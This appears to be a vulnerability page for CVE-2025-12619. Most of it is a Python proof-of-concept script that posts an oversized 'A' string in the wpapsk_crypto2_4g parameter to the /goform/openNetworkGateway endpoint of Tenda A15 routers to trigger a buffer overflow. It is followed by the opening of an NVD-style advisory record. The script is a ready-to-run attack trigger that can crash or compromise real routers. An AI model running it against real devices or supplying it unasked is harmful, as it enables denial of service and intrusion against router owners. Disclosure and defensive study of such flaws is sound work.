CVE-2025-12619

#!/usr/bin/env python3 # CVE-2025-12619 PoC - Tenda A15 Buffer Overflow # Affected: Tenda A15 V15.13.07.13 # Function: fromSetWirelessRepeat in /goform/openNetworkGateway # Attack Vector: wpapsk_crypto2_4g parameter buffer overflow import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" target_port = 80 # Buffer overflow payload - long string to trigger overflow # Adjust length based on target firmware analysis payload_length = 1000 overflow_payload = "A" * payload_length # Construct malicious request url = f"http://{target_ip}:{target_port}/goform/openNetworkGateway" data = { "wpapsk_crypto2_4g": overflow_payload, "other_param": "value" } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {payload_length} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Response length: {len(response.content)} bytes") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Note: Full exploitation requires ROP chain/shellcode development # This PoC demonstrates the vulnerability trigger mechanism

{"cve": {"id": "CVE-2025-12619", "sourceIdentifier": "[email protected]", "published": "2025-11-03T07:15:43.140", "lastModified": "2025-11-05T14:25:59.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Tenda A15 15.13.07.13. Affected is the function fromSetWirelessRepeat of the file /goform/openNetworkGateway. The manipulation of the argument wpapsk_crypto2_4g results in buffer overflow. The attack can be launched remotely. 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